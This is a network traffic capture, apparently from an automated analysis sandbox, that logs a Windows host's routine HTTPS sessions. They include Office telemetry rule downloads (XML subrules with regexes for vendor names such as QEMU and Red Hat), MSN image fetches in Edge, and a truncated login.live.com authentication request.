2024-11-12 03:16:37 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.5	49900	23.47.50.115	443	5600	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:37 UTC	506	OUT	GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 03:16:37 UTC	547	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 21 Oct 2024 03:13:18 GMT X-Datacenter: northeu X-ActivityId: 6db12733-9255-4acf-9296-95e19c30786f Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 822 Content-Length: 4096 Cache-Control: public, max-age=86203 Expires: Wed, 13 Nov 2024 03:13:20 GMT Date: Tue, 12 Nov 2024 03:16:37 GMT Connection: close
2024-11-12 03:16:37 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.5	49899	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:37 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:37 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:37 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 5df09d77-001e-00a2-0c15-2dd4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031637Z-16547b76f7f7rtshhC1DFWrtqn0000000f3000000000b18v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 03:16:37 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	49901	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:37 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:37 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:37 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 2c4fdaaf-601e-0032-31a7-34eebb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031637Z-15869dbbcc6ss7fxhC1DFWq6vs00000008dg00000000d74n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 03:16:37 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.5	49902	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:37 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:37 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:37 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 8514c3eb-001e-0082-0ba0-345880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031637Z-15869dbbcc6tjwwhhC1DFWn22800000008gg000000002nwe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 03:16:37 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.5	49903	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:37 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:37 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:37 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: e9278802-001e-002b-42a0-3499f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031637Z-15869dbbcc6vr5dxhC1DFWyw4g000000017g000000002mde x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 03:16:37 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.5	49904	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:37 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:37 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:37 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 898dd9bc-901e-0048-53d2-2cb800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031637Z-16547b76f7ftdm8dhC1DFWs13g0000000ez000000000hzw6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 03:16:37 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.5	49905	20.190.159.0	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:38 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-12 03:16:38 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-12 03:16:38 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 12 Nov 2024 03:15:38 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.9 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C504_SN1 x-ms-request-id: 7a78d157-27f8-4920-b52a-87de1563eccc PPServer: PPV: 30 H: SN1PEPF0002F02F V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 12 Nov 2024 03:16:37 GMT Connection: close Content-Length: 11392
2024-11-12 03:16:38 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.5	49907	23.47.50.115	443	5600	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:38 UTC	506	OUT	GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 03:16:38 UTC	549	IN	HTTP/1.1 200 OK Last-Modified: Wed, 23 Oct 2024 20:31:12 GMT Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 17955 X-Datacenter: eastap X-ActivityId: 53621c4b-f6ac-4e45-8979-9690752d9442 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=321499 Expires: Fri, 15 Nov 2024 20:34:57 GMT Date: Tue, 12 Nov 2024 03:16:38 GMT Connection: close
2024-11-12 03:16:38 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.5	49906	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:38 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:38 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:38 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: f6fa4055-801e-008c-27a1-347130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031638Z-17df447cdb5c9wvxhC1DFWn08n0000000bng00000000mq9u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 03:16:38 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.5	49909	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:38 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:38 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:38 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 26b51f4a-e01e-0099-4da5-34da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031638Z-17df447cdb5l865xhC1DFW9n7g000000084g00000000szcs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 03:16:38 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.5	49908	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
